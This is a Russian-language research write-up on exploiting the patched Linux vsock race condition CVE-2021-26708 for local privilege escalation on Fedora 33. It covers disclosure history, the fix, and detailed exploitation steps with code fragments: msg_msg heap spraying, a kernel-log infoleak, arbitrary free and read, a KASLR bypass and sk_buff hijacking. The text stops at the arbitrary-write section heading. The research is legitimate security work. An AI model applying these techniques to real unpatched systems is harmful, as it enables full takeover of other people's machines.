[ru] Сила четырех байтов: эксплуатация уязвимости CVE-2021-26708 в ядре Linux
В январе 2021 года я обнаружил и устранил пять уязвимостей в реализации виртуальных сокетов ядра Linux, которые получили идентификатор CVE-2021-26708. В этой статье я детально расскажу об эксплуатации одной из них с целью локального повышения привилегий на Fedora 33 Server для платформы x86_64. Я покажу, как с помощью небольшой ошибки доступа к памяти атакующий может получить контроль над всей операционной системой и при этом обойти средства обеспечения безопасности платформы. В заключение я расскажу про возможные средства предотвращения атаки.
С докладом по этой теме я выступил на конференции Zer0Con 2021. Получилось интересное исследование. Состояние гонки в ядре Linux приводит к порче четырех байтов в ядерной памяти, и я постепенно превращаю это в произвольное чтение/запись и полный контроль над системой. Поэтому я назвал статью «Сила четырех байтов».
А вот демонстрация прототипа эксплойта:
Уязвимости
Уязвимости CVE-2021-26708 — это состояния гонки, вызванные неправильной работой с примитивами синхронизации в net/vmw_vsock/af_vsock.c
. Эти ошибки были неявно внесены в код ядра версии 5.5-rc1
в ноябре 2019 года, когда в реализацию виртуальных сокетов была добавлена поддержка нескольких типов транспорта. Эти сокеты в ядре Linux служат для общения между виртуальными машинами и гипервизором.
Уязвимый код поставляется в дистрибутивах GNU/Linux в виде модулей CONFIG_VSOCKETS
и CONFIG_VIRTIO_VSOCKETS
. Эти модули автоматически загружаются системой при создании сокета в домене AF_VSOCK
:
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
Создание сокета в домене AF_VSOCK
доступно непривилегированным пользователям и не требует наличия функциональности user namespaces. Таким образом, виртуальные сокеты составляют часть поверхности атаки ядра Linux.
Ошибки и исправления
Для поиска уязвимостей я часто использую фаззер syzkaller с особыми доработками. 11 января я проверял результаты фаззинга ядра на своих стендах и обнаружил подозрительный отказ ядра в функции virtio_transport_notify_buffer_size()
. Было странно, что фаззер не смог повторно воспроизвести этот эффект, поэтому я стал изучать исходный код и разрабатывать программу-репродюсер вручную.
Несколько дней спустя я нашел ошибку в ядерной функции vsock_stream_setsockopt()
, которую словно добавили специально:
struct sock *sk;
struct vsock_sock *vsk;
const struct vsock_transport *transport;
/* ... */
sk = sock->sk;
vsk = vsock_sk(sk);
transport = vsk->transport;
lock_sock(sk);
Здесь указатель на транспорт виртуального сокета копируется в локальную переменную перед вызовом функции lock_sock()
. Но ведь значение vsk->transport
может измениться, когда блокировка на сокет еще не установлена! Это очевидное состояние гонки. Я проверил весь код в файле af_vsock.c
и нашел еще четыре такие же ошибки.
История разработки ядра в Git помогла понять, как появились эти пять ошибок. Дело в том, что изначально транспорт виртуального сокета не мог измениться, то есть можно было безопасно копировать значение vsk->transport
в локальную переменную. Но потом в коммитах c0cfa2d8a788fcf4
и 6a2c0962105ae8ce
для виртуальных сокетов была добавлена поддержка нескольких видов транспорта, и это неявно внесло в ядро сразу пять состояний гонки.
Исправить эти уязвимости очень просто:
sk = sock->sk;
vsk = vsock_sk(sk);
- transport = vsk->transport;
lock_sock(sk);
+ transport = vsk->transport;
Ответственное разглашение, которое пошло не так
30 января, после того как закончил прототип эксплойта, я отправил информацию об уязвимостях и исправление (патч) по адресу security@kernel.org
, то есть выполнил процедуру ответственного разглашения (responsible disclosure). Мне оперативно ответили Линус Торвальдс и Грег Кроа-Хартман, и мы договорились о следующем порядке действий.
- Я отправляю исправляющий патч в открытый список рассылки ядра Linux (Linux Kernel Mailing List, LKML).
- Патч применяют в основном ядре и стабильных версиях, которые были подвержены уязвимостям.
- Я уведомляю производителей GNU/Linux-дистрибутивов через список рассылки
linux-distros
о том, что данное исправление важно для безопасности системы. - Наконец, я публично разглашаю информацию об уязвимостях через список рассылки
oss-security@lists.openwall.com
, когда производители дистрибутивов позволят это сделать.
На самом деле первый пункт довольно спорный. Линус решил принять мой патч сразу, без эмбарго на разглашение (disclosure embargo), потому что «этот патч не сильно отличается от патчей, которые мы принимаем каждый день» (the patch doesn't look all that different from the kinds of patches we do every day). Я подчинился, но предложил отправить патч открыто. Это важно, потому что иначе каждый может отследить исправления безопасности, если отфильтрует коммиты, которые не обсуждались в публичном списке рассылки. Недавно эта техника была рассмотрена в одной исследовательской работе.
2 февраля вторая версия моего патча была принята в ветку netdev/net.git
и оттуда попала в ветку Линуса. 4 февраля Грег применил мое исправление в стабильных ветках ядра, которые были подвержены уязвимостям. Сразу после этого я уведомил linux-distros@vs.openwall.org
, что исправленные уязвимости можно эксплуатировать для локального повышения привилегий в системе. Я спросил, сколько потребуется времени, прежде чем я сделаю публичное разглашение информации об уязвимостях. Но я получил неожиданный ответ:
If the patch is committed upstream, then the issue is public.
Please send to oss-security immediately.
То есть меня попросили немедленно раскрыть информацию о найденных и исправленных уязвимостях в публичном списке рассылки oss-security
. Странно. Как бы то ни было, я запросил идентификатор CVE через сервис https://cve.mitre.org/cve/request_id.html и отправил письмо в список рассылки oss-security@lists.openwall.com
.
Возникает вопрос: насколько эта практика немедленного принятия патча в ванильное ядро совместима с работой организаций в linux-distros
?
У меня есть контрпример. Когда я обнаружил ядерную уязвимость CVE-2017-2636 и выполнил ответственное разглашение, Кейс Кук (Kees Cook) и Грег организовали недельное эмбарго на разглашение информации. Мы уведомили организации из linux-distros
, и за эту неделю они подготовили обновления безопасности дистрибутивных ядер, в которые вошел мой исправляющий патч. Затем, по окончании эмбарго, производители GNU/Linux-дистрибутивов синхронно выпустили обновления безопасности. Получилось хорошо.
Как портится ядерная память
Теперь рассмотрим эксплуатацию уязвимостей CVE-2021-26708. Для локального повышения привилегий в системе я выбрал состояние гонки в функции vsock_stream_setsockopt()
. Для того чтобы воспроизвести эту ошибку, требуется два потока. В первом потоке вызывается setsockopt()
:
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
Этот поток сохраняет указатель на виртуальный транспорт в локальную переменную (в этом заключается ошибка), а затем пытается захватить блокировку виртуального сокета в функции vsock_stream_setsockopt()
. В этот момент второй поток должен поменять транспорт виртуального сокета. Для этого нужно к нему переподключиться:
struct sockaddr_vm addr = {
.svm_family = AF_VSOCK,
};
addr.svm_cid = VMADDR_CID_LOCAL;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
addr.svm_cid = VMADDR_CID_HYPERVISOR;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
При обработке системного вызова connect()
для виртуального сокета ядро выполняет функцию vsock_stream_connect()
, которая держит блокировку виртуального сокета. А тем временем vsock_stream_setsockopt()
в первом потоке пытается эту блокировку захватить. Отлично, это то, что нужно для состояния гонки. При этом функция vsock_stream_connect()
вызывает vsock_assign_transport()
, которая содержит интересующий нас код:
if (vsk->transport) {
if (vsk->transport == new_transport)
return 0;
/* transport->release() must be called with sock lock acquired.
* This path can only be taken during vsock_stream_connect(),
* where we have already held the sock lock.
* In the other cases, this function is called on a new socket
* which is not assigned to any transport.
*/
vsk->transport->release(vsk);
vsock_deassign_transport(vsk);
}
Что происходит в этом коде? Второй вызов connect()
выполняется с новым значением svm_cid
, поэтому для предыдущего виртуального транспорта выполняется деструктор vsock_deassign_transport()
. Он вызывает функцию virtio_transport_destruct()
, в которой структура vsock_sock.trans
освобождается и указатель vsk->transport
устанавливается в NULL.
После этого vsock_stream_connect()
отпускает блокировку виртуального сокета, а функция vsock_stream_setsockopt()
в первом потоке наконец-то может ее захватить и продолжить исполнение. Далее в первом потоке вызываются vsock_update_buffer_size()
и transport->notify_buffer_size()
. Но указатель transport
содержит устаревшее неактуальное значение из локальной переменной, оно не соответствует vsk->transport
, где записан NULL. Поэтому ядро по ошибке выполняет обработчик virtio_transport_notify_buffer_size()
, который портит ядерную память:
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
struct virtio_vsock_sock *vvs = vsk->trans;
if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
*val = VIRTIO_VSOCK_MAX_BUF_SIZE;
vvs->buf_alloc = *val;
virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}
Здесь vvs
— это указатель на ядерную память, которая была освобождена в функции virtio_transport_destruct()
. Размер этой структуры struct virtio_vsock_sock
— 64 байта; данный объект живет в общем кэше аллокатора kmalloc-64
. Поле buf_alloc
, в которое происходит ошибочная запись, имеет тип u32
и расположено по отступу 40 байт от начала структуры. VIRTIO_VSOCK_MAX_BUF_SIZE
имеет значение 0xFFFFFFFFUL
и не мешает атаке. Значение *val
контролируется атакующим, и четыре младших байта *val
записываются в освобожденную ядерную память. То есть эта уязвимость приводит к записи после освобождения.
Загадка фаззинга
Как я уже упоминал, фаззер syzkaller не смог воспроизвести эту ошибку в ядре и я был вынужден писать программу-репродюсер вручную. Почему же так произошло? Взгляд на код функции vsock_update_buffer_size()
может дать ответ на этот вопрос:
if (val != vsk->buffer_size &&
transport && transport->notify_buffer_size)
transport->notify_buffer_size(vsk, &val);
vsk->buffer_size = val;
Здесь обработчик notify_buffer_size()
вызывается, только если значение val
отличается от текущего buffer_size
. Другими словами, системный вызов setsockopt()
, выполняющий операцию SO_VM_SOCKETS_BUFFER_SIZE
, должен вызываться каждый раз с новым значением параметра size
. Я добился этого эффекта в моем первом репродюсере (исходный код) с помощью забавного трюка:
struct timespec tp;
unsigned long size = 0;
clock_gettime(CLOCK_MONOTONIC, &tp);
size = tp.tv_nsec;
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
Здесь значение параметра size
берется из счетчика наносекунд, который возвращает функция clock_gettime()
, и это значение с большой вероятностью отличается от предыдущего на каждой очередной попытке спровоцировать состояние гонки в ядре. Оригинальный syzkaller
без модификаций не может так сделать. Значения для параметров системных вызовов выбираются, когда syzkaller
генерирует ввод для фаззинга, и они не изменяются во время самого фаззинга на целевой системе.
Как бы то ни было, я до сих пор до конца не понимаю, как syzkaller
смог спровоцировать этот отказ ядра ¯\_(ツ)_/¯
Похоже, фаззер сотворил какое-то многопоточное «волшебство» с операциями SO_VM_SOCKETS_BUFFER_MAX_SIZE
и SO_VM_SOCKETS_BUFFER_MIN_SIZE
, но затем не смог его снова воспроизвести.
Идея! Возможно, добавление способности рандомизировать аргументы системных вызовов в процессе самого фаззинга позволит фаззеру syzkaller
находить больше ошибок типа CVE-2021-26708. С другой стороны, это может и ухудшить стабильность повторного воспроизведения уже найденных отказов ядра.
Сила четырех байтов
В этом исследовании я выбрал объектом атаки Fedora 33 Server с ядром Linux версии 5.10.11-200.fc33.x86_64
. С самого начала я нацелился обойти SMEP и SMAP (аппаратные средства защиты платформы x86_64
).
Итак, это состояние гонки может спровоцировать запись четырех контролируемых байтов в освобожденный 64-байтовый ядерный объект по отступу 40. Это очень ограниченный примитив эксплуатации, я преодолел большие трудности, чтобы превратить его в полный контроль над системой. Далее я расскажу, как разработал прототип эксплойта, в хронологическом порядке.
Эти иллюстрации я сделал из фотографий экспонатов Государственного Эрмитажа. Замечательный музей!
Первым делом я начал работать над стабильной техникой heap spraying. Ее суть в том, что эксплойт должен выполнить такие действия в пользовательском пространстве, которые заставят ядро выделить новый объект на месте освобожденной 64-байтовой структуры virtio_vsock_sock
. В этом случае ошибочная запись после освобождения virtio_vsock_sock
испортит четыре байта в этом новом объекте, что может быть полезно для развития атаки.
Сначала я провел быстрый эксперимент с heap spraying при помощи системного вызова add_key()
. Я выполнил его несколько раз сразу после второго вызова connect()
, который освободил структуру virtio_vsock_sock
. Трассировка ядра через ftrace
помогла убедиться, что освобожденная область памяти снова была аллоцирована. Другими словами, стало ясно, что для этого случая вполне применима техника heap spraying.
Следующим шагом в моей стратегии эксплуатации этой уязвимости было найти 64-байтовый объект, который способен дать более сильный эксплойт-примитив, если переписать в нем четыре байта по отступу 40 байт от его начала. Ух… Не так-то просто!
Моя первая идея была применить технику перезаписи iovec
из эксплойта Bad Binder, который опубликовали Мэдди Стоун (Maddie Stone) и Ян Хорн (Jann Horn). Этот метод состоит в том, что аккуратно испорченный ядерный объект iovec
может дать произвольное чтение/запись ядерной памяти. Но эта идея у меня трижды провалилась:
- 64-байтовый объект
iovec
выделяется в ядерном стеке, а не в куче, как необходимо для атаки. - Четыре байта по отступу 40 переписывают поле
iovec.iov_len
вместоiovec.iov_base
, поэтому оригинальный способ здесь неприменим. - Эта техника с перезаписью
iovec
была устранена в ядре начиная с версии4.13
. Великолепный Ал Виро (Al Viro) сделал это в коммите 09fc68dc66f7597b в июне 2017 года:we have *NOT* done access_ok() recently enough; we rely upon the iovec array having passed sanity checks back when it had been created and not nothing having buggered it since. However, that's very much non-local, so we'd better recheck that.
После изнурительных экспериментов с несколькими другими ядерными объектами, пригодными для heap spraying, я наконец нашел системный вызов msgsnd()
. При его обработке в пространстве ядра создается структура msg_msg
. Вот вывод утилиты pahole
для нее:
struct msg_msg {
struct list_head m_list; /* 0 16 */
long int m_type; /* 16 8 */
size_t m_ts; /* 24 8 */
struct msg_msgseg * next; /* 32 8 */
void * security; /* 40 8 */
/* size: 48, cachelines: 1, members: 5 */
/* last cacheline: 48 bytes */
};
В сущности, это заголовок сообщения, за которым следуют данные. Если структура msgbuf
в пользовательском пространстве имеет 16 байт в mtext
, то соответствующая ей ядерная структура msg_msg
создается в кэше аллокатора kmalloc-64
, как и уязвимый объект virtio_vsock_sock
. Перезапись четырех байтов по отступу 40 портит младшую часть указателя void *security
. Таким образом, в эксплойте я использую поле security
, чтобы сломать Linux security. Такая ирония.
Указатель msg_msg.security
ссылается на память в ядерной куче, которая выделяется в функции lsm_msg_msg_alloc()
. В случае Fedora она используется подсистемой безопасности SELinux. Освобождается эта память в функции security_msg_msg_free()
при приеме сообщения msg_msg
. То есть перезапись эксплойтом младшей части указателя security
(платформа x86_64
хранит байты в порядке от младшего к старшему) может дать новый, более мощный примитив эксплуатации — освобождение произвольного адреса, или arbitrary free.
Infoleak в качестве бонуса
Получив примитив освобождения произвольного адреса, я стал думать, против какого ядерного объекта его можно применить. И здесь я воспользовался трюком из моего эксплойта для CVE-2019-18683. Как я уже упоминал, повторный системный вызов connect()
выполняет функцию vsock_deassign_transport()
, которая записывает NULL в vsk->transport
. Это приводит к тому, что далее в функции vsock_stream_setsockopt()
ядро выводит предупреждение (kernel warning):
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS: 00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
vsock_update_buffer_size+0x5f/0x70 [vsock]
vsock_stream_setsockopt+0x128/0x270 [vsock]
...
Это предупреждение возникает сразу после записи в освобожденную ядерную память. Это большая удача для атакующего, ведь на Fedora непривилегированный пользователь может читать ядерный журнал /dev/kmsg
.
С помощью отладчика GDB
я установил, что значение регистра RCX
, которое ядро выдает в этом предупреждении, — это адрес освобожденного объекта virtio_vsock_sock
, а значение RBX
— адрес объекта vsock_sock
. Отлично! Как только в ядерном журнале появилось очередное такое предупреждение, атакующий знает, что эксплойт снова спровоцировал состояние гонки, а из распечатанных значений регистров можно извлечь нужные ядерные адреса.
От освобождения произвольного адреса к использованию после освобождения
Далее я планировал превратить примитив освобождения произвольного адреса в использование после освобождения (use-after-free). Для этого я собирался:
- Освободить ядерный объект, используя адрес из предупреждения в ядерном журнале.
- Выполнить heap spraying, чтобы перезаписать освобожденный объект контролируемыми данными.
- Поднять привилегии эксплойта с помощью этого испорченного ядерного объекта.
Сначала я попробовал освободить память, принадлежащую vsock_sock
(его адрес утек через регистр RBX
), потому что это большой ядерный объект со множеством интересных данных. Но все объекты vsock_sock
выделяются в отдельном кэше аллокатора, для которого нет возможности использовать стандартную технику heap spraying.
Поэтому я решил выполнять освобождение памяти по адресу из регистра RCX
. Я стал искать 64-байтовый объект ядра, который содержит адреса и другие данные, полезные для эксплуатации use-after-free. Более того, эксплойт должен иметь возможность выполнить в пользовательском пространстве действие, которое спровоцирует создание этого ядерного объекта на месте освобожденного virtio_vsock_sock
. Поиск такого особого объекта в ядре Linux был очень долгим и изнурительным. Я даже использовал для этого сгенерированный фаззером набор программ, чтобы как-то автоматизировать мой поиск.
Параллельно с этим я продолжал изучать, как именно ядро Linux обрабатывает сообщения System V, так как объекты msg_msg
уже использовались в этом эксплойте для heap spraying. И тут мне пришла замечательная идея, как переиспользовать msg_msg
для эксплуатации use-after-free.
Произвольное чтение ядерной памяти
В ядерной реализации сообщений System V определен максимальный размер сообщения DATALEN_MSG
, который равен PAGE_SIZE
минус sizeof(struct msg_msg))
. Если отправить сообщение большего размера, не поместившиеся данные сохраняются в связном списке сегментов. Для этого структура msg_msg
содержит поле struct msg_msgseg *next
, которое указывает на первый сегмент, и поле size_t m_ts
, в котором хранится суммарный размер данных в сообщении.
Отлично! Я могу разместить контролируемые данные в msg_msg.m_ts
и msg_msg.next
, когда я перезаписываю сообщение после того, как использую против него примитив произвольного освобождения памяти.
Здесь важно отметить, что я не переписываю поле msg_msg.security
, чтобы не сломать проверку разрешений подсистемы SELinux. Это возможно, если использовать замечательную технику setxattr() & userfaultfd()
heap spraying, которую опубликовал Виталий Николенко. Подсказка: я располагаю полезную нагрузку для heap spraying на границе страниц так, чтобы ядерная функция copy_from_user()
остановилась с отказом страницы (page fault) прямо перед перезаписью поля msg_msg.security
. Вот как выглядит часть эксплойта, которая подготавливает эту полезную нагрузку:
#define PAYLOAD_SZ 40
void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
struct msg_msg *msg_ptr;
xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0xa5, PAGE_SIZE * 4);
printf("[+] adapt the msg_msg spraying payload:\n");
msg_ptr = (struct msg_msg *)xattr_addr;
msg_ptr->m_type = 0x1337;
msg_ptr->m_ts = ARB_READ_SZ;
msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
msg_ptr,
msg_ptr->m_type, &(msg_ptr->m_type),
msg_ptr->m_ts, &(msg_ptr->m_ts),
msg_ptr->next, &(msg_ptr->next));
}
Но как же вычитать ядерные данные с помощью этого атакованного msg_msg
? Прием такого сообщения требует манипуляций с очередью сообщений System V, а это приводит к отказу ядра из-за испорченного указателя msg_msg.m_list
, в который я записал 0xa5a5a5a5a5a5a5a5
(мне недоступно его корректное значение). Сначала мне в голову пришла идея просто записать в этот указатель адрес другого сообщения msg_msg
, но от этого ядро зависло, потому что проход по связному списку очереди сообщений System V не смог завершиться.
Изучение документации на системный вызов msgrcv()
помогло найти рабочее решение: я воспользовался msgrcv()
с флагом MSG_COPY
:
MSG_COPY (начиная с Linux 3.8)
Забирает копию сообщения без удаления из начальной позиции в очереди,
заданной в msgtyp (сообщения нумеруются начиная с 0).
С этим флагом ядро копирует данные сообщения в пользовательское пространство без удаления из очереди сообщений. Это то, что нужно! Флаг MSG_COPY
доступен в ядре, если оно собрано с опцией CONFIG_CHECKPOINT_RESTORE=y
, что выполняется для Fedora Server.
Произвольное чтение: пошаговая процедура
Вот как выглядит пошаговая процедура, с помощью которой мой эксплойт выполняет чтение произвольной ядерной памяти:
- Подготовить атаку:
- Вычислить количество доступных CPU с помощью
sched_getaffinity()
иCPU_COUNT()
(для эксплуатации этой уязвимости требуется не менее двух CPU). - Открыть ядерный журнал
/dev/kmsg
для отслеживания предупреждений ядра. - Используя
mmap()
, выделить память дляspray_data
и установитьuserfaultfd()
на конец этого региона памяти. - Запустить отдельный поток (
pthread
) для обработки событийuserfaultfd()
. - Запустить 127 потоков для выполнения
setxattr() & userfaultfd()
heap spraying и остановить их ждать на барьереpthread_barrier
.
- Вычислить количество доступных CPU с помощью
- Получить ядерный адрес исправного сообщения
msg_msg
. Для этого:- Достичь состояния гонки на виртуальном сокете, как было описано выше.
- Подождать 35 микросекунд после второго системного вызова
connect()
, в котором ядро освобождает объектvirtio_vsock_sock
. - Вызвать
msgsnd()
для отдельной очереди сообщений; ядро помещаетmsg_msg
на место освобожденного объектаvirtio_vsock_sock
уже после порчи ядерной памяти из-за этой задержки в 35 микросекунд. - Вычитать предупреждение в ядерном журнале и сохранить ядерный адрес созданного объекта
msg_msg
(содержится в регистреRCX
). Еще раз отмечу, что данные этого сообщения не были испорчены из-за уязвимости, это важно для дальнейшего развития атаки. - Сохранить ядерный адрес структуры
vsock_sock
из регистраRBX
.
- Освободить память исправного объекта
msg_msg
с помощью испорченного объектаmsg_msg
. Для этого:- Использовать четыре байта адреса исправного
msg_msg
в качестве значенияSO_VM_SOCKETS_BUFFER_SIZE
; эти четыре байта будут использованы при порче памяти — записаны в освобожденную ядерную память. - Достичь состояния гонки на виртуальном сокете.
- Вызвать
msgsnd()
сразу после второго системного вызоваconnect()
; ядро помещает сообщениеmsg_msg
на место освобожденного объектаvirtio_vsock_sock
и портит четыре байта в его полеmsg_msg.security
. - Теперь указатель
security
испорченного сообщенияmsg_msg
содержит адрес исправного сообщенияmsg_msg
(из шага 2). - Если перезапись
msg_msg.security
из потока, выполняющегоsetsockopt()
, происходит во время обработки системного вызоваmsgsnd()
, то проверка разрешения SELinux завершается неуспешно. - В этом случае системный вызов
msgsnd()
возвращает-1
, а испорченное сообщениеmsg_msg
уничтожается. Таким образом, освобождение памяти, на которую указывает испорченный указательmsg_msg.security
, приводит к освобождению исправного сообщенияmsg_msg
, которое было создано на втором шаге.
- Использовать четыре байта адреса исправного
- Перезаписать исправное сообщение
msg_msg
контролируемыми данными. Для этого:- Сразу после системного вызова
msgsnd()
, который вернул-1
, эксплойт вызываетpthread_barrier_wait()
и тем самым пробуждает 127 потоков для heap spraying, которые ждут на барьере. - Эти потоки выполняют
setxattr()
с полезной нагрузкой, подготовленной в функцииadapt_xattr_vs_sysv_msg_spray(vsock_kaddr)
, которая была описана выше. - Теперь освобожденное исправное сообщение
msg_msg
перезаписывается контролируемыми данными так, что его полеmsg_msg.next
, указывающее на сегмент сообщения System V, содержит адрес ядерного объектаvsock_sock
(был взят из регистраRBX
на шаге 2).
- Сразу после системного вызова
- Вычитать содержимое ядерного объекта
vsock_sock
в пользовательское пространство. Для этого эксплойт выполняет прием модифицированного сообщенияmsg_msg
из отдельной очереди, в которой оно было создано:ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
Эта часть эксплойта работает очень надежно.
Разбираем добычу
Чтение произвольной ядерной памяти принесло эксплойту хорошую добычу: содержимое ядерного объекта vsock_sock
. Эти данные атакующий может использовать для дальнейшего развития атаки.
Вот что интересного я нашел внутри vsock_sock
:
- Множество указателей на объекты из отдельных кэшей аллокатора (dedicated slab caches), например
PINGv6
иsock_inode_cache
. Я не смог придумать, как использовать их для развития атаки. - Указатель
struct mem_cgroup *sk_memcg
, который располагается в структуреvsock_sock.sk
по отступу 664 байта. Объекты типаmem_cgroup
создаются ядром в общем кэше аллокатораkmalloc-4k
. А это подходит! - Указатель
const struct cred *owner
, который располагается в структуреvsock_sock
по отступу 840 байт. Он содержит адрес дескриптора привилегий (credentials) для процесса моего эксплойта. Эксплойт должен модифицировать этот дескриптор, чтобы повысить свои привилегии в системе. В этом состоит цель атаки. - Указатель на функцию
void (*sk_write_space)(struct sock *)
, который располагается в структуреvsock_sock.sk
по отступу 688 байт. В нем содержится адрес ядерной функцииsock_def_write_space()
. Этим можно воспользоваться для вычисления секретного значенияKASLR
, которое влияет на расположение кода ядра в виртуальной памяти системы.
Далее представлен код, выделяющий нужные адреса из данных, которые эксплойт вычитал из ядерной памяти:
#define MSG_MSG_SZ 48
#define DATALEN_MSG (PAGE_SIZE - MSG_MSG_SZ)
#define SK_MEMCG_OFFSET 664
#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET 840
#define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET 688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)
/*
* From Linux kernel 5.10.11-200.fc33.x86_64:
* function pointer for calculating KASLR secret
*/
#define SOCK_DEF_WRITE_SPACE 0xffffffff819851b0lu
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;
/* ... */
sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
sk_memcg, SK_MEMCG_RD_LOCATION);
owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
owner_cred, OWNER_CRED_RD_LOCATION);
sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);
kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);
Структура cred
выделяется ядром Linux в отдельном кэше аллокатора, который называется cred_jar
. Если бы я использовал мой примитив освобождения произвольной памяти против структуры cred
, я бы не смог перезаписать ее контролируемыми данными (по крайней мере, я не знаю, как это сделать). Жаль, это было бы идеальным завершением атаки.
Поэтому я сфокусировался на атаке объекта mem_cgroup
. Я попробовал вызвать для него освобождение памяти, но ядро Linux после этого моментально ушло в отказ (kernel panic). К сожалению, оказалось, что ядро очень интенсивно использует этот объект. Снова неудача. Но тут я вспомнил про один из моих старых проверенных трюков для повышения привилегий в системе.
Старый трюк с объектом sk_buff
В моем прототипе эксплойта для уязвимости CVE-2017-2636 в ядре Linux я превратил двойное освобождение памяти из кэша аллокатора kmalloc-8192
в использование после освобождения для объекта sk_buff
. Я решил повторить этот трюк снова.
Сетевой пакет в ядре Linux существует в виде объекта sk_buff
. В конце такого объекта размещается структура skb_shared_info
, содержащая указатель destructor_arg
, которым атакующий может воспользоваться для перехвата потока управления в ядре. Сетевые данные и структура skb_shared_info
размещены в единой области ядерной памяти (на нее указывает sk_buff.head
). Причем создание в пользовательском пространстве сетевого пакета размером 2800 байт приводит к размещению skb_shared_info
в кэше аллокатора kmalloc-4k
, где также живет наш объект mem_cgroup
, адрес которого удалось прочитать на предыдущем шаге атаки.
Я придумал такую процедуру для перехвата потока управления через деструктор в sk_buff
:
- Создать один клиентский сокет и 32 серверных сокета с помощью
socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
. - Подготовить в пользовательском пространстве сетевой буфер размером 2800 байт и заполнить его значением 0x42 с помощью
memset()
. - Отправить этот буфер с клиентского сокета на каждый серверный сокет с помощью
sendto()
. Это приводит к созданию соответствующих объектовsk_buff
в кэше аллокатораkmalloc-4k
. Причем такую операцию нужно выполнить на каждом доступном CPU, что возможно сделать с использованиемsched_setaffinity()
. Это важный момент, так как аллокатор имеет отдельный кэш под каждый CPU. - Выполнить процедуру чтения произвольной ядерной памяти для объекта
vsock_sock
(описано выше). Извлечь адресаstruct mem_cgroup *sk_memcg
,struct cred *owner
и секретKASLR
. - Вычислить возможный адрес одного из созданных объектов
sk_buff
как адресsk_memcg
плюс 4096 (следующий элемент в кэше аллокатораkmalloc-4k
). Я предполагаю, что ядро расположитsk_memcg
и один из моихsk_buff
рядом друг с другом. - Выполнить процедуру чтения произвольной ядерной памяти по предполагаемому адресу
sk_buff
. - Если удалось прочитать 0x4242424242424242lu, значит был найден настоящий
sk_buff
и можно переходить к шагу 8. В противном случае следует добавить к предполагаемому адресуsk_buff
еще 4096 и перейти к шагу 6. - Запустить 32 потока для выполнения
setxattr() & userfaultfd()
heap spraying для найденного объектаsk_buff
и остановить их наpthread_barrier
. - Выполнить произвольное освобождение ядерной памяти по адресу найденного
sk_buff
. - Пробудить 32 ожидающих потока с помощью вызова
pthread_barrier_wait()
. Они выполнят системный вызовsetxattr()
, перезаписывающийskb_shared_info
контролируемыми данными. - Принять сетевые данные на всех 32 серверных сокетах с помощью
recv()
. При приеме пакета в одном из них произойдет перехват потока управления в ядре.
Когда ядро обрабатывает прием sk_buff
с перезаписанной структурой skb_shared_info
, оно вызывает деструктор, на который ссылается destructor_arg
. Подготовленный деструктор выполняет произвольную запись ядерной памяти (arbitrary write) и повышение привилегий эксплойта в системе. Как? Это я описываю в следующем разделе.
Здесь нужно отметить, что use-after-free на объекте sk_buff
— это главный источник нестабильности в эксплойте. Было бы здорово найти иной объект ядра, создающийся в kmalloc-4k
, для которого можно более надежно эксплуатировать ошибку использования после освобождения.
Произвольная запись ядерной памяти через skb_shared_info
